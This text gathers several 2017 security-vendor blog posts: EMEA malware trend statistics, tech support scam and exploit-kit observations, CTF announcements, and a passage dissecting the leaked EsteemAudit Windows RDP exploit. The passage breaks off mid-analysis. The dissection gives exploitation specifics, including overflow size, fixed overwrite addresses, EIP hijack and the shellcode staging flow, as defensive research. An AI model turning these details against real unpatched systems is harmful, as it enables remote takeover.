In some cases, criminals have turned away from malware entirely, and are focusing on apparently more lucrative activity. For example, the EITest campaign has switched to pushing tech support scams. At first, this seemed to be location-based, targeting the US and UK. However, as we go into June 2017, this type of activity is all we have found from the EITest campaign in recent days.

Figure 6 below shows a page viewed on June 7th, 2017 from a website compromised by the EITest campaign. The highlighted portion is a URL that redirects to a tech support scam website shown in Figure 7 that states your computer has been infected.

decline-in-rig_6

Figure 6: Injected script in page from a site compromised by the EITest campaign.

decline-in-rig_7

Figure 7: The tech support scam site.

This particular campaign also has audio continually reinforcing the same information. You cannot simply click okay or close the browser. The windows will immediately reappear. In order to close the browser and stop the audio, you must use the task manager to kill the browser process.

These tech support scams have been so successful that they are now a constant feature of our threat landscape. The EITest campaign has been pushing them for more than a month now.

Conclusion

Although EK activity levels are down, we still see indicators of Rig and Magnitude on a near-daily basis. But EKs are a relatively minor factor in today's threat landscape compared to social engineering schemes and malspam. Users who follow best security practices are much less likely to be affected by the EK threat.

However, this situation could change as new exploits appear and updated techniques are used in malware distribution. It always pays to be prepared. Threat detection, preventions, and protection solutions like Palo Alto Networks next-generation security platform are a key part of any prevention strategy.

LabyREnth CTF 2017 Launch Day: The Challenge Starts Now!

labyrenth_launch-image_2

The LabyREnth Capture the Flag (CTF) challenge is LIVE!

The goblins are at the gate and in this final hour it’s time for your many hours studying the blade, mastering the blockchain, and cultivating inner strength to be put to use. You’ll have until 4:00 p.m. pacific time on July 23, 2017 to test your mettle against the seemingly endless hordes of more than 25 security challenges.  Will you answer the call?

Whether you are an experienced researcher looking to win renown or a student just getting started, these challenges are built to surprise and show you something new. And if you’re among the first to complete the tracks, you could win a chunk of the $32,000 in cash prizes we’re offering this year. The CTF is open worldwide, including Palo Alto Networks partners.  Please refer to the official rules at LabyREnth by typing “rules" in the terminal.

These challenges bring together amazing learning opportunities for all levels across the security industry, all with serious prizes. Our goal is to drive threat intelligence education by sharing challenges based on the daily life of our engineers, helping improve skills and developing the next generation of analysts. By creating an avenue to build security skills, we’re making an effort to improve and strengthen the security community and our collective ability to defend against attackers.

Watch the @unit42_intel Twitter handle and #LabyREnth hashtag for updates and winners.

Can you escape the LabyREnth?

 

EMEA Bi-Monthly Threat Reports: United Kingdom, Germany & France

Intro

In December 2016 I posted the first of a two-part blog series, the second of which posted in April this year, to start a series of regular threat report updates to the public covering different sets of countries from around the EMEA (Europe Middle East and Africa) region. This blog is the first of a new series of bi-monthly threat reports that will focus only on one set of countries where before the series focused on two sets covering six or more countries. This new series will dig deeper into current trends, the threats affecting each country, and provide useful tips for mitigating these threats via our AutoFocus Threat Intelligence Service.

In my previous blogs, I introduced the EMEA region at a high-level– a large group of countries each with mixed languages, cultures, and cyber security maturity levels. Each also with different industry sectors and different economic profiles, which in turn creates a very diverse environment potentially ripe for cyberattacks.

The countries in this blog includes the United Kingdom, Germany, and France for the month of February.

Headlines

  • France, Germany, and United Kingdom: Cerber ransomware remains prevalent and replaced Locky as the #1 volume-wise.
  • France, Germany, and United Kingdom: Increase in malware that attempts to interact with digital currencies.
  • France and United Kingdom:  Uptick in Spora ransomware delivered over web-browsing application.

Trends

February by Country

We saw almost 120,000 total malicious sessions in AutoFocus in the three countries. Of these sessions, the United Kingdom received just over 70%; France just over 20% and Germany just under 10% of the volume. Despite the low session volume, Germany received the highest number of raw samples with nearly 50% of the total at 3,970 unique samples from the near 8,500 total. The United Kingdom received almost the same number of samples as Germany while France saw the lowest amount at just over 3,000 (35%).

The total session volume is some 50,000 less than the same three countries in December 2016 but the sample count in February was much higher with over 2,000 more samples compared to the previous time period.

Almost 50% of the aggregate samples and just over one third of the session volume in Germany can be attributed to the legacy – now some 13 years old – worm, MyDoom.

Figure 1 below shows the general trends of malicious sessions throughout the month of February for each country and highlighting the weekends where volume generally decreases. During the weekends, we tend to see less malspam inbound to organisations as people are not there to receive it and for the same reason, less outbound malicious session volume such as web-browsing. The United Kingdom’s most affected industry in terms of volume of malware sessions was Higher Education while both Germany and France’s most affected industry vertical was High Tech.

emea_1

Figure 1: Daily malware sessions by Country, February 2017

The proportion of malware sessions we observed in these countries could be due to a variety of reasons, such as different malware families in active operations, the number of existing compromised hosts, or even how the Palo Alto Networks® security platform is deployed.

February’s Top Malware

The following charts show the top malware by way of the highest number of unique samples seen targeting each of the three countries.

The charts clearly show overlap between the countries and the malware observed in the region. Pony, for example accounted for almost half of the malware in the United Kingdom and almost three-quarters of the top malware in France. MyDoom, on the other hand, dominated the German charts. Beyond MyDoom, Germany also saw a higher number of malware families that were present in the other countries as well. These included two ransomware families, Nymaim and RanserKD.

emea_3

emea_2

 

 

 

 

 

 

 

 

 

 

 

 

emea_4

 

 

 

 

 

 

 

 

 

 

 

 

 

Figure 2: Top Malware by Country, February 2017

February by application

Figure 3 plots the three countries in terms of malware volume delivered via different applications. The most common method for malware delivery were email protocols with SMTP, POP3, and IMAP being the highest combined volume of malware sessions by far. This is in-line for malware delivery activity globally. Based off these metrics, we can deduce that social engineering via specially crafted phishing emails is still a heavily used attack method.

The SMTP volume breakdown between the three countries indicates the UK received the most malicious sessions by far. The malware in the bulk of these SMTP sessions consisted of Pony and Cerber.

emea_5

Figure 3: Malware sessions by application by Country, February 2017

emea_6

Pony is a popular downloader program that can download additional malware onto the infected system. It is also equipped with a number of plugins that may be used to steal stored credentials for various applications such as FTP clients, web browsers, email clients, and other software. Pony is also commonly known as Fareit.

This commodity Trojan is common and often seen in high volumes throughout the world. Although this sparkline indicates what appears to emea_7

be a slight decline in February as compared to three to four months prior, the session volume still averages well over two thousand per day. For the three countries examined, the industries most targeted were Higher Education in the United Kingdom, Aerospace and Defence in France, and High Tech in Germany.

emea_8 emea_9

Globally, over the past six months, Cerber ransomware activity has been voluminous at over half a million sessions in total, much of which occurred in January and early February. Some individual days reached well into the tens of thousands of sessions. The industries most targeted included Higher Education in the United Kingdom, Government in France, and Wholesale in Germany.

Cerber is similar to many other ransomware families – using encryption, bitcoin ransom, and the TOR network for anonymity. It does have a few unique aspects not found in other ransomware however. Aside from the file extension ".cerber" used to indicate encrypted files, Cerber has conditional behaviour based on the language settings of the operating system. It will avoid infecting the following locales: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine and Uzbekistan. Cerber has been observed attacking databases as well as typical files. Infection methods are varied, including the use of malicious attachments in emails, malicious links, and the use of Exploit Kits. The Cerber malware payload uses a polymorphic model on its distribution servers making it very difficult for signature-based detection approaches to keep up with detecting all variants.

The following Figure shows a typical view of an system infected by Cerber including the ransom notice and support for the victim to get their files decrypted.

emea_10

Figure 4: Cerber Ransomware infection

emea_11 In France, we saw the highest volume of web-browsing sessions in February, followed by the United Kingdom and finally Germany. The majority of this volume in France was due to samples of Spora ransomware. Many ransomware attacks include a try-before-you-buy feature on their pay pages, where you can decrypt one or two files for free as an inducement to trust the crooks. Spora has many options such as: decrypt two files for free; decrypt a selection of files for $30; have the ransomware itself removed for $20; buy “immunity” for $50; and get a full restore for $120. Prices are quite low compared to other families that still charge one Bitcoin, which has almost doubled in value since the start of 2017 and is currently over the $2,000 USD mark. Spora seemed to appear on the ransomware scene earlier this year and since then as risen by hundreds if not thousands of sessions emea_12per day, indicating that it may be a threat that will be with us for some time. Many of the web-browsing sessions containing Spora ransomware use legitimate-sounding filenames such as “Chrome font v4.11.exe” that purport to be font files or other updates related to the Google Chrome web browser. Many sites hosting the malware appear to be compromised websites and in February, the majority of such sites were education-related, such as “edenhope.vic.edu[.]au/free.php”. The PHP (server side scripting framework used in web development) files often use filenames such as get, free, and info. The targeted industries globally are Higher Education followed by Securities and Investment Services. For the three countries examined, the industry most targeted was Higher Education.

Figure 5 shows a typical view of a system infected by Spora, showing the ransom notice and support details for the victim.

emea_13

Figure 5: Spora Ransomware infection

FTP as a malware delivery mechanism also deserves a mention as the activity remains quite high. This behavior has been ongoing for quite some time now, primarily due to the PhotoMiner malware I discussed in my last blog covering the EMEA region.

Threats

Country Specific

We can see further anomalies between the different countries, as Figure 6 below highlights. Despite the vast majority of malware families being common across all three countries and globally, there are some malware families, only in observed in one country. The following section describes each of these unique threats per country and shows their global trends for the last six months in the form of sparkline charts highlighting each malware’s peak and trend over the extended period.

emea_14

Figure 6: Unique malware families, by Country, February 2017

emea_15

Starting with the United Kingdom and the Nitol Trojan, which we have seen quite consistently over the past six emea_16 months, showing a spike of high volume towards the end of last year and slightly higher volume of traffic over the last two months. Nitol is a family of Trojans that perform DDoS (Distributed Denial of Service) attacks, allow remote access, download, and run additional files, and perform a number of other malicious activities on the victim host. In February, this malware was seen only in the Higher Education sector in the UK being downloaded with the filename “vip.exe”.

emea_17emea_18

The next threats only seen in the United Kingdom were PasswordFox and IEPassView both of which are command-line utilities allowing for the extraction of usernames and passwords saved in Firefox and Internet Explorer, respectively. Both utilities are developed by NirSoft as stand-alone tools to help with password recovery but as with such things, others find more nefarious uses for them.

Trends over the extended time period highlight a very similar pattern of volume globally between IEPassViewemea_19and PasswordFox emea_20

Despite sharing similar peaks, including the highest peak for both Trojans in the month of February itself, IEPassView has a higher average number of sessions per day at 7.5 compared to PasswordFox’s daily average of 3. IEPassView also accounts for almost three times the total volume during the extended time period compared to PasswordFox, indicating that targeting stored credentials in Internet Explorer may yield better results for the threat actors.

Session information reported in AutoFocus indicates that the attacks seen in February were targeting Senior lecturers and Professors at Universities in the United Kingdom using spear phishing emails with leading subject lines such as “RE:Bank payment receipt” and attached malware using file names such as “payment receipt order_February.scr”. All SMTP sessions originated from Nigeria with a mixture of sender email addresses including a potentially compromised business email address from a hotel chain based in the Middle East. AutoFocus does not relate these attacks to those detailed in our SilverTerrier white paper, however the objective of stealing credentials and information from victims is on par with other attacks originating from that region of Africa.

In Germany, two of the four top malware families observed are Android based, which is something not seen in previous threat reports produced over the last six to nine months.

emea_21

Android/SMSsend is a malicious mobile application that, once installed to your mobile device, reaps profit by silently sending SMS messages to premium-rate phone numbers increasing the bill from your provider.AutoFocus sessions indicate that some of the SMSsend samples seen were not being used in a malicious manner but instead uploaded to the internet to specialist websites that aid with the de-compilation of the Android app’s Dalvik byte code into source code. Given the source of these sessions – Higher Education – it’s highly likely the samples were being analyzed by students or faculty. Other sessions however do indicate potentially real cases of the malware being downloaded over web-browsing applications from sites that could be 3rd party app stores with less security restrictions.

Alternatively, these malware samples could have been delivered from compromised or other malicious websites where if a victim browsed the site from and Android devices a drive-by-download would occur. The app would then be automatically downloaded to the user’s device but not be installed automatically unless an exploit of some sort was used in conjunction. Often times, when the threat actor has no such exploit available they will rely on social engineering to lure the user into installing the app.

The sessions show Securities and Investment Services and High-Tech industries as those having the most SMSsend activity using file names such “FreeCola1.apk”. The trend for this malware globally over the extended time period shows a general decline since 6 months ago but clearly activity emea_22 persists.

chart-1

emea_23
The CTB-Locker family of ransomware is similar to the CryptoLocker family of ransomware as well as many other ransomware families. It encrypts files with specific extensions using a key retrieved from a server, requests ransom in Bitcoin and also uses the Tor network to further protect its operators’ identity and infrastructure. Globally the trend for CTB-Locker has been downward in emea_24the last six months, since the peak of activity about three months ago, and generally speaking we currently see approximately only fifteen sessions on average each day.

In Germany, the POP3 email sessions of CTB-Locker were primarily observed in the Hospitality sector, originating from Italy and using sender email addresses purporting to be from Telecom Italia or SDA (an Italian express courier company) with appropriate subject lines such as Fattura TIM linea Fissa - Gennaio 2016 scadenza 01/14/2016 (Invoice TIM Fixed Line – January 2016 deadline) and Partenza spedizione (Shipping Departure) respectively. Filenames of attached executables followed suite and used double extensions such as “.pdf.exe”, which is a highly suspect behavior.

emea_25

Meanwhile, in France, some of the unique malware families seen included an off the shelf keylogger – iSpySoftware – which is marketed to unsophisticated actors as a way to harvest credentials and other sensitive information from victims.

All SMTP sessions seen in February targeted the Higher Education sector and originated from China and Thailand. Globally there has been a slight resurgenceemea_26 in volume of late but nothing compared to the scale seen three months ago and prior.

emea_27Another malware family unique to France during February was CryptXXX. The group behind this project is the same as those driving emea_28 the legacy Reveton ransomware operations and is closely tied to Angler and Bedep operations. This malware has also been on a decline globally since five to six months ago and on average is seen in less than ten sessions per day. The number of sessions in France was low – less than twenty for the month of February.

emea_29

Another ransomware family seen exclusively in France in February was SamSa, also know as mokoponi. SamSa is different from most ransomware families in that it tends to target entire organizations versus individual endpoints. Instead of the indiscriminate methods used by most other contemporary ransomware families, leveraging mass malspam or phishing campaigns, SamSa attackers infiltrate the victim's network using network-based exploits or stolen credentials, and proceeds to install SamSa manually on individual hosts. SamSa will encrypt files using a provided RSA public key and demand either a large sum of Bitcoin in exchange for the recovery key to all victimized machines, or a small Bitcoin fee per infected machine.

Much of the activity emea_30 in the last six months surrounding SamSa happened two to three months prior to February where session volume peaked at over a hundred sessions per. Recently in February there has been a small uptick in activity.

chart2

Malicious Behaviours

As mentioned in my last blog on EMEA threat trends, malicious behaviours can be a powerful way of discovering new threats or suspicious applications in the network. The reason being that many malicious behaviours span across multiple malware families of the same type or even different types of malware, such as ransomware or a credential stealing Trojans. Persistence mechanisms, evasion techniques, or communicating channels  often times common between malware families. In this next section, we will investigate some of the most prevalent behaviours that were on the rise in the three studied countries in February as well as globally over the five months prior.

emea_31

emea_32 HttpNoUserAgent identifies applications that create HTTP connections but omit or use a blank user-agent. Typically, legitimate applications will include a user-agent value in HTTP requests to identify themselves to the receiving application. HTTP requests without the user-agent header, or with a blank user agent value, are may be suspect. This AutoFocus tag identifies these suspect samples, which have been continuously on the rise globally. Global session averages close to twenty thousand sessions per day.

emea_33

With digital currency values soaring, performing nefarious activities related to mining digital currency using victim CPU cycles or simply by stealing digital wallets through targeted credential theft are popular avenues for threat actors for financial gain. The AccessDigitalCurrency tag in AutoFocus reports applications seen in our Wildfire analyzer attempting to interact with known digital currencies, such as Bitcoin, Litecoin, and others. Malware will often seek out wallets for various digital currencies with the intent of stealing this data.

Globally, this type of malware as been on the rise as indicated by this sparkline. emea_34

emea_35

Image File Execution Options (IFEO) are used by developers for debugging applications on Windows. Malware will often check if debuggers are running when they infect a system as it may be an indication that someone is monitoring the system behaviour. This AutoFocus tag however is indicative of an application to setup itself up as a debugger for the system. The Windows operating system then enumerates application names and, when they run, launch the debugger (in this case the malware) at the same time. This provides the malware persistence on the system in case of reboot or application closure.

Globally the volume emea_36 of applications conducting this behaviour has averaged in the hundreds of sessions per day but in January and February this spiked to thousands and, in quite a few cases, in to the tens of thousands of sessions per day.

emea_37

Malicious Word documents often use VBA (Visual Basic for Application) macros to launch PowerShell scripts to perform malicious activity such as downloading payloads from the internet. This AutoFocus tag highlights when this behaviour is seen during WildFire analysis.

Globally, the volume emea_38 of samples conducting this behaviour is on the rise with some of the greatest volume to date being seen in February, where daily session numbers came close to breaking the one hundred thousand sessions per day mark. On the 20th February the session volume exceeded that, with over one hundred and twenty five thousand sessions. Given the earlier discussion about email-based malspam and phishing campaigns being so prevalent, it’s hardly any wonder this behaviour is growing so quickly as many attacks prefer weaponized Word and Excel documents that launch PowerShell.
emea_39Indicates where samples request a shortened URL provided by one of the many URL shortening services, which is leveraged often by malware to disguise potentially malicious web requests. In the six months prior to February the malware that typically had this behaviour appeared to be Adware related. The volume of sessions emea_40 peaked about two to three months ago but since then, session the volume has been quite consistent.

chart3

Conclusion

EMEA is a socially and economically diverse region with many interesting assets whether they be citizen data, financial information, or natural resources and, as such, is a target for cyber criminals the world over.

It’s probably no surprise to see ransomware as a prevalent malware crossing all borders into all countries as this malware is really victim-agnostic. Any data on any computer in any country is a viable target. We saw a slight change with one family, Spora, which made an appearance over the web-browsing application as opposed to the typical method of malspam over smtp.

Clearly information-stealing malware, such as Pony and tools, such as PasswordFox and IEPassView, are prevalent in countries that have a more service-based economy that manage and process plenty of user data and personally identifiable information (PII).

Cyber Hygiene

The threat landscape is vast and can be complex but you can minimize your risk of infection and enhance the overall health of your network by following some basic cyber hygiene habits:

Patch systems and applications wherever (and as soon as) possible. Alternatively, focus on other security solutions, such as exploit prevention technology to protect those systems and applications from attack or to help manage patching cycles to suit your requirements. Prioritize patching based on known exploits or in-the-wild-attacks. Segment those unpatched/unpatchable devices in the network with additional access controls based on users or application communication to minimize the risk of exploitation. Perform regular vulnerability scans of systems and review changes to spot new devices or changes in active vulnerabilities.

Change the file association for JavaScript to be opened using notepad (or something else benign) rather than the Windows Scripting Host or other shell capable of executing malcode. This can be done per PC or enterprise-wide using Group Policy. This will prevent many JavaScript-based threats from running in the context of weaponized documents.

Educate users and employees of the security risks faced by your organization and perform regular training and reminders about these and how they can help the effort. Provide a platform for users to learn about the risks and to report incidents to security-related staff. Create a culture whereby such reporting is important and valued. Monitor effectiveness of training for the purposes of gap analysis and creating dialogue between security teams and users.


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

LabyREnth CTF 2017: One Week Countdown

labyrenth_countdown

We’re one week away from the launch of the second LabyREnth Capture the Flag (CTF) challenge! It’s time to give all you players some more details on what you’re going to see next week.

We’ve got five tracks this year, and they’re a little different from last year. The skills we’ll be focusing on this year are the following:

  • Working with binaries (PE files, ELF files, Mach-O files, etc.)
  • Working with documents (MS Office Files, PDF Files, etc.)
  • Working with Mobile and IOT files (iOS, Android, ARM, MIPS, etc.)
  • Understanding the Threat Landscape (Yara, Networking, Intel, etc.)
  • Programming

While you’re in the LabyREnth, look out for some other challenges hidden throughout the CTF. Complete them quickly and you could win one of our individual first to solve prizes (tablets, VR equipment, etc.). Or just finish challenges in the five tracks to win some of the $32,000 in cash prizes we’re giving away this year! The overview, rules, and most importantly prize structure can all be seen at http://labyrenth.com.

We’ve selected these tracks and challenges as we believe they form the cross-section of skills necessary to be a solid security researcher. We’ll be revealing hints and more information about the challenges throughout the CTF. The countdown clock to the launch is running at http://labyrenth.com. We look forward to seeing you at 4pm PST on June 9!


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

Palo Alto Networks Unit 42 Vulnerability Research May 2017 Disclosures

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered two code execution vulnerabilities affecting Microsoft Office that were addressed in Microsoft’s May 2017 monthly security update release:

  1. CVE-2017-0264: Jin Chen
  2. CVE-2017-0265: Jin Chen

For current customers with a Threat Prevention subscription, Palo Alto Networks has also released IPS signatures providing proactive protection from these vulnerabilities. Traps, Palo Alto Networks advanced endpoint solution, can block memory corruption based exploits of this nature.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

A Dissection of the “EsteemAudit” Windows Remote Desktop Exploit

Summary

In April, a group known as the “Shadow Brokers” released a cache of stolen information that included multiple tools to exploit vulnerabilities in various versions of Microsoft Windows. The most famous of these is an exploit tool called “EternalBlue” which was repurposed to spread the WanaCrypt0r ransomware/worm earlier this month. Another tool released in this dump is “EsteemAudit”, which exploits CVE-2017-9073, a vulnerability in the Windows Remote Desktop system on Windows XP and Windows Server 2003. Both versions of this operating system are no longer supported by Microsoft (XP ended in 2014, Server 2003 in 2015) and as such Microsoft has not released a patch for the vulnerability.

Organizations that still rely on these out-of-date operating systems need to ensure they are defending against exploitation of this vulnerability, as it allows a remote attacker to take control over the system without any authentication.

Palo Alto Networks defends our customers’ systems from this exploit in the following ways:

  • Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.
  • Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.

Organizations that cannot upgrade systems and do not use the protections describe above should consider disabling the smart card module through Group Policy or in the registry.

Exploitation of the vulnerability is complex, but the EsteemAudit tool makes it possible for novices to use it. The remainder of this blog includes a detailed analysis of where the vulnerability exists and how EsteemAudit exploits it.

EsteemAudit Overview

This RDP remote exploit named EsteemAudit uses an inter-chunk heap overflow in an internal structure (named key_set with a size of 0x24a8) on the system heap allocated by gpkcsp.dll, which is a component of Windows Smart Card. In detail, there is 0x80 sized buffer (named key_data) in the key_set structure to store smart card information, after which there are two key_object pointers in adjacent memory. However, there is a call to memcpy in gpkcsp! MyCPAcquireContext with no boundary check, copying the entire user-controlled sized data to the location of 0x80 sized key_data. If the attacker puts more than 0x80 sized data as the source argument of memcpy, the key_object pointer adjacent with key_data will be overflowed. To exploit this, the EsteemAudit code puts the 0xb2-7 size controlled data as the source argument of memcpy, and overflowed key_object pointer with a fixed address 0x080190dc, which is an address of data section of gpkcsp.dll. After triggering the memcpy path to complete the overflow, the exploiter puts user-controlled data in that global variable at a fixed address 0x080190d8 in data section, and then triggers gpkcsp!ReleaseProvider to release the C++ object key_object (call [vtable+8]) to get control over EIP. Finally, the SharedUserData technique is used to call VirtualProtect by syscall with number 0x8f and the first stage shellcode is executed.

Introduction

Remote RDP exploits are the stuff of legend. Fortunately, no public remote exploit for Windows RDP has been available since the NT4/Win98 era. In April 2017, a group using the name “The Shadowbrokers” released an RDP exploit named EsteemAudit which attacks the remote desktop service on Windows 2003 and Windows XP by using an inter-chunk heap overflow in the Smart Card component gpkscp.dll. In this blog, we will first describe some of the internals of remote desktop protocol and mechanism, and then analyze the EsteemAudit.exe itself. Next we will analyze the details about how to deal with the RDP data in kernel and user land, how the inter-chunk heap overflow occurs, and how to exploit this inter-chunk heap overflow to execute shellcode on the vulnerable system. Finally, we will introduce the possible detection methods and how to mitigate this vulnerability without a patch.

Mechanism and Protocol

The full details of how the Remote Desktop Protocol operates are out of scope for this blog, but in this section we’ll describe the components which are relevant to this exploit.

Architecture and Components

The Terminal Services Architecture has four parts: multi-user kernel, the Remote Desktop client, the Terminal Services Licensing service, and Session Directory Services.

esteemaudit_1

Figure 1 Terminal Services Architecture Diagram – (Used with permission from Microsoft)

The following table describes the Terminal Services architecture components.

esteemaudit_2

Figure 2 Terminal Services Architecture Components – From Microsoft

Nicolas Collignon describes the relationships between these components in his paper named Tunneling TCP over RDP.

In the kernel-land, the relevant component is rdpwd.sys, which is responsible for MCS (Multipoint Communication Service) stack. The RDP PDU (Protocol Data Unit) are parsed and decrypted in this component.

In user-land, the winlogon component is most relevant. It is responsible for authentication of remote client. For example, if the client request a smart card redirection, the winlogon.exe will launch smart card component and communicate with the client.

RDP Protocol

With the architecture and components of remote desktop service introduced, we can dive into the components of the Remote Desktop Protocol that are relevant to the vulnerability exploited by EsteemAudit. There are several RDP documents in MSDN documentation page which are relevant to this analysis. Some of them describe the basic protocol like, [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting. Others describe extensions for RDP, like [MS-RDPESC]: Remote Desktop Protocol: Smart Card Virtual Channel Extension. Aurélien Bordes listed all of the extensions at a talk at the OSSIR conference in 2010.

For the purposes of this analysis, we will consider the following components:

MS-RDPBCGR is based on the ITU (International Telecommunication Union) T.120 series of protocols. The T.120 standard is composed of multiple other standards, and uses the X.224 standard for transport layer communications. The X.224 standard specified how RDP packets should be encrypted and we can see this in “request PDU” and “confirm PDU” requests.

The encryptionMethods flag in X.224 request in the example below is set to 0x00000012, which represents the client requesting the 128-bit RC4 encryption [128BIT_ENCRYPTION_FLAG 0x00000002] or FIPS[FIPS_ENCRYPTION_FLAG 0x00000010].

esteemaudit_3

Figure 3 X.224 Request PDU Specifying Encryption Methods

The server responds by confirming the encryptionMethod is 0x00000002 (128-bit RC4) in an X.224 confirm PDU message.

esteemaudit_4

Figure 4 X.224 Confirm PDU message Confirming Encryption Method (128-bit RC4)

To keep this blog from going outside the scope of the vulnerability we will not explain the remaining steps in the protocol connection process, but the details are available in in [MS-RDPBCGR] - Remote Desktop Protocol: Basic Connectivity and Graphics Remoting.

After the RDP connection is created, the PDU between client and server will be encrypted with the negotiated encryption method (for example: 128-bit RC4). Below is an example of Client Info PDU.

esteemaudit_5

Figure 5 RDP Client Info PDU

The data included in this PDU is parsed out into the following components:

64 00 04 03 eb 70 81 56 -> PER encoded (ALIGNED variant of BASIC-PER) SendDataRequest

initiator = 1005 (0x03ed)

channelId = 1003 (0x03eb)

dataPriority = high

segmentation = begin | end

userData length = 0x156 = 342 bytes

 

48 00 -> TS_SECURITY_HEADER::flags = 0x0048 0x0048 (SEC_INFO_PKT | SEC_ENCRYPT

 

00 00 -> TS_SECURITY_HEADER::flagsHi - ignored as flags field does not contain SEC_FLAGSHI_VALID (0x8000)

6f 6d 0c d5 b7 0c 5d 7e -> TS_SECURITY_HEADER1::dataSignature

The remaining data from the offset 0x51 to the end which begins with 86 b8 8a a9 is Encrypted TS_INFO_PACKET.

len

0178d254  0000014a                             J...

 

encrypted

038e3c8b  a98ab886 dabad90d d9d8f9e3 8dd5bafa  ................

038e3c9b  1407ea51 883cb6af 21ca2bdb cab1e030  Q.....<..+.!0...

038e3cab  d6aaeccd 1c599171 1be8c40d 96d651dc  ....q.Y......Q..

038e3cbb  2d018a22 242aac0d 7b58948f 4be28b23  "..-..*$..X{#..K

038e3ccb  36cf54c6 52b70939 4064362b 9e37e989  .T.69..R+6d@..7.

038e3cdb  9ff09b06 4f862c80 1546198a ac9b03ed  .....,.O..F.....

038e3ceb  420acbdf 566591c1 7f471159 0e1d6906  ...B..eVY.G..i..

038e3cfb  906474f4 476ea91e 4db2edd2 fb464bfd  .td...nG...M.KF.

 

plain

038e3c8b  00000000 00000133 001a0000 00000000  ....3...........

038e3c9b  00000000 00640061 0069006d 0069006e  ....a.d.m.i.n.i.

038e3cab  00740073 00610072 006f0074 00000072  s.t.r.a.t.o.r...

038e3cbb  00000000 00020000 0031001c 00320039  ..........1.9.2.

038e3ccb  0031002e 00380036 0032002e 00320034  ..1.6.8...2.4.2.

038e3cdb  0031002e 003c0000 003a0043 0057005c  ..1...<.C.:.\.W.

038e3ceb  004e0049 0054004e 0053005c 00730079  I.N.N.T.\.S.y.s.

038e3cfb  00650074 0033006d 005c0032 0073006d  t.e.m.3.2.\.m.s.

We can parse the protocol details from plain TS_INFO_PACKET according the format described in [MS-RDPBCGR].

esteemaudit_6

Figure 6 Info Packet Structure from MS-RDPBCGR

Smart Card Extension

RDP has an extension which supports remote client login using a smart card. From [MS-RDPESC], we can find the protocol sequence and details of protocol flow.

esteemaudit_8

Figure 7 High Level Protocol Sequence Diagram from MS-RDPESC

esteemaudit_9

Figure 8 Protocol Flow Diagram from MS-RDPESC

EsteemAudit uses the type of SCARD_IOCTL_TRANSMIT to communicate with the smart card module on the server.

esteemaudit_10

Figure 9 SCARD_IOCTL_TRANSMIT description from MS-RDPESC

As the specification states, the packet returned to a client by the server has a type of Transmit_Return. The specification describes the various fields this packet includes.

esteemaudit_11

Figure 10: Transmit_Return description from MS-RDPESC

The packet sent from server to server has a type of Transmit_Call.

esteemaudit_12

Figure 11 Transmit_Call description from MS-RDPESC

RDP Exploit Client (EsteemAudit.exe)

After understanding the basic knowledge of architecture, components, protocol and communications of RDP, we can look specifically at what the EsteemAudit.exe exploit client does. EsteemAudit.exe is responsible for communicating with the RDP server just like an RDP Client according the RDP protocol. It emulates an RDP client using a smart card, and sends a smart card redirection authentication request to RDP server to force it to handle the data and structure sent by EsteemAudit using the smart card module gpkcsp.dll where the vulnerability exists.

EsteemAudit.exe Overview

After reverse engineering the EsteemAudit binary, we found the exploit-start function named GoRunExp at the address .text:00381009. We will not show the entire function for brevity, and only introduce the main execution flow here.

GoRunExp

à InitializeInputParameters //get the config information

à connect2Target

ààinitRDPLib

ààemulateSmartCard

ààconnect2RDP

ààregisterCallback(CallBackFunction)

à RecvProcessSendPackets

à RdpLib_SendKeyStrokes // Sending Space Bar

à RecvProcessSendPackets

à buildExpBuffer

ààbuild_all_x86

àààbuild_overflow_x86

àààbuild_exploit_x86

àààbuild_egg0_x86

ààà//set auth code, xor mask, open payload dll, etc

ààà build_egg1_payloadxxx

à RdpLib_SendKeyStrokes // Sending Enter key

à RecvProcessSendPackets

…

à RecvProcessSendPackets

àà//send smart card authentication redirection request, receive and process the according response, communicate with the server, in the last phase send the ExpBuffer(including overflow buffer, exploit and egg0 buffer) to the server to control the EIP, at last send the end response to server to end the first stage.

àà//to be mentioned, CallBackFunction registered in connect2Target will be called to process the response and prints logs like “SELECT_FILE - GPK Card MF”, “GET_RESPONSE - data unit size”, “GET_RESPONSE - serial number”.

…

We found that after the preparation work including connect2Target and building the exploit buffer, RecvProcessSendPackets is called repeatedly to receive and process the data from the server and send the buffer previously prepared back to it. RecvProcessSendPackets is responsible for all the details of communicating with smart card modules on the RDP server, which we discuss in an upcoming section. However, we will not introduce the details of this function, but focus on what packets RecvProcessSendPackets sends to exploit the vulnerability.

Overflow Packet

When building the overflow packet, there are only two effective fields: a value at the 0x8d offset and a constant 0x9000 at the 0x91 offset, all other fields are random data.

esteemaudit_13

Figure 12 build_overflow_x86 function assembling the exploit packet.

To see the complete data sent by client, we can inspect one of the overflow packets.

esteemaudit_14

Figure 13 Overflow Packet dissected in Wireshark

As described below, after the offset 0x51, the data named TS_INFO_DATA is encrypted. To decrypt the TS_INFO_DATA, we noticed that all of data are encrypted by client with the Libeay32!RC4 function.

